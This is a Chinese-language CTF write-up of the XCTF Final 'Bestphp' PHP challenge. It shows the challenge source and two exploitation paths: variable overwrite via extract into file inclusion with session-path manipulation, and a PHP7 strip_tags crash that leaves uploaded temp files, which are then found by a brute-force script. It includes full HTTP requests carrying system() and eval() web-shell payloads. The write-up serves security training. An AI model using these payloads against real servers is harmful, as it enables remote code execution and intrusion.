美文网首页CTF Re&&Pwn
XCTF Final Web1 Writeup

XCTF Final Web1 Writeup

作者: _阿烨_ | 来源:发表于2018-11-03 16:48 被阅读419次

    Bestphp

    这道题提供三个文件index.php、function.php、admin.php
    index.php

    <?php
        highlight_file(__FILE__);
        error_reporting(0);
        ini_set('open_basedir', '/var/www/html:/tmp');
        $file = 'function.php';
        $func = isset($_GET['function'])?$_GET['function']:'filters'; 
        call_user_func($func,$_GET);
        include($file);
        session_start();
        $_SESSION['name'] = $_POST['name'];
        if($_SESSION['name']=='admin'){
            header('location:admin.php');
        }
    ?> 
    

    function.php

    <?php
    function filters($data){
        foreach($data as $key=>$value){
            if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
                die('Do not hack me!');
            }
        }
    }
    ?>
    

    admin.php

    hello admin
    <?php
    if(empty($_SESSION['name'])){
        session_start();
        #echo 'hello ' + $_SESSION['name'];
    }else{
        die('you must login with admin');
    }
    
    ?>
    

    解题思路一

    变量覆盖,调用文件包含

    从index.php可以看出$_GET['function']$_SESSION['name'] = $_POST['name']可控

    其中call_user_func($func,$_GET);回调函数可利用
    而且include($file);调用了文件包含

    所以,可以调用变量覆盖函数,覆盖掉$file,从而引入文件包含
    payload:
    http://10.99.99.16/?function=extract&file=php://filter/read=convert.base64-encode/resource=./function.php

    一开始只是highlight_file给出index.php的源码,利用文件包含读到了admin.php和function.php的源码,不过对解题没啥卵用。

    吐槽点:早上题目的环境是php7.2,extract函数是无法动态调用的,然后中午主办方偷偷改了环境为7.0,也不发公告说一声,浪费了很多时间。

    调用session_start函数,修改session的位置

    从index.php可以看出$_SESSION['name'] = $_POST['name'],session的值可控,session默认的保存位置

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    
    /var/lib/php5/sess_PHPSESSID
    /var/lib/php5/sessions/sess_PHPSESSID
    
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    

    由于ini_set('open_basedir', '/var/www/html:/tmp'),我们包含不了/var/lib/下的session

    但是我在tmp下也找不到自己的session,所以这里的session应该是在/var/lib/

    这里可以调用session_start函数,修改session的位置
    本地的payload:

    POST /xctf-bestphp/index.php?function=session_start&save_path=. HTTP/1.1
    Host: 127.0.0.01
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Length: 21
    Cookie: PHPSESSID=lfc5uk0rv8ndmjfv86u9tv6fk2
    Content-Type: application/x-www-form-urlencoded
    
    name=<?php phpinfo();
    
    image.png
    这里直接把session写到了web根目录,并且内容可控
    再利用变量覆盖,调用文件包含,即可get shell
    http://10.99.99.16/index.php?function=extract&file=./sess_lfc5uk0rv8ndmjfv86u9tv6fk2

    比赛的payload

    POST /index.php?function=session_start&save_path=/tmp HTTP/1.1
    Host: 10.99.99.16
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 41
    
    name=<?php echo "aaa";system($_GET[x]);?>
    
    GET /index.php?function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php HTTP/1.1
    Host: 10.99.99.16
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=a9tvfth9lfqabt9us85t3b07s1
    Upgrade-Insecure-Requests: 1
    

    解题思路二

    王一航师傅发过一篇文章:https://www.jianshu.com/p/dfd049924258
    是php7的一个小bug

    include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
    

    string.strip_tags可以导致php7在执行过程中奔溃

    如果请求中同时存在一个文件上传的请求 , 这个文件就会被因为奔溃被保存在/tmp/phpXXXXXX(XXXXXX是数字+字母的6位数)

    这个文件是持续保存的,不用竞争,直接爆破,为了爆破成功可以多线程去上传文件,生成多个phpXXXXXX

    payload

    burp多线程上传文件

    POST /index.php?function=extract&file=php://filter/string.strip_tags/resource=function.php HTTP/1.1
    Host: 10.99.99.16
    Content-Length: 1701
    Cache-Control: max-age=0
    Origin: null
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeScXqSzdW2v22xyk
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
    Cookie: PHPSESSID=17qpuv1r8g19pm503593nddq10
    Connection: close
    
    ------WebKitFormBoundaryeScXqSzdW2v22xyk
    Content-Disposition: form-data; name="fileUpload"; filename="test.jpg"
    Content-Type: image/jpeg
    
    <?php echo "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";@eval($_POST['cmd']);  ?>
    ------WebKitFormBoundaryeScXqSzdW2v22xyk--
    

    爆破脚本

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    import requests
    import string
    
    charset = string.digits + string.letters
    
    host = "10.99.99.16"
    port = 80
    base_url = "http://%s:%d" % (host, port)
    
    
    def brute_force_tmp_files():
        for i in charset:
            for j in charset:
                for k in charset:
                    for l in charset:
                        for m in charset:
                            for n in charset:
                                filename = i + j + k + l + m + n
                                url = "%s/index.php?function=extract&file=/tmp/php%s" % (
                                    base_url, filename)
                                print url
                                try:
                                    response = requests.get(url)
                                    if 'wwwwwwwwwwwwww' in response.content:
                                        print "[+] Include success!"
                                        return True
                                except Exception as e:
                                    print e
        return False
    
    
    def main():
        brute_force_tmp_files()
    
    
    if __name__ == "__main__":
        main()
    

    爆破成功后,得到成功文件包含的shell

    http://10.99.99.16/index.php?function=extract&file=/tmp/phpXXXXX
    

    相关文章

      网友评论

        本文标题:XCTF Final Web1 Writeup

        本文链接:https://www.haomeiwen.com/subject/miykxqtx.html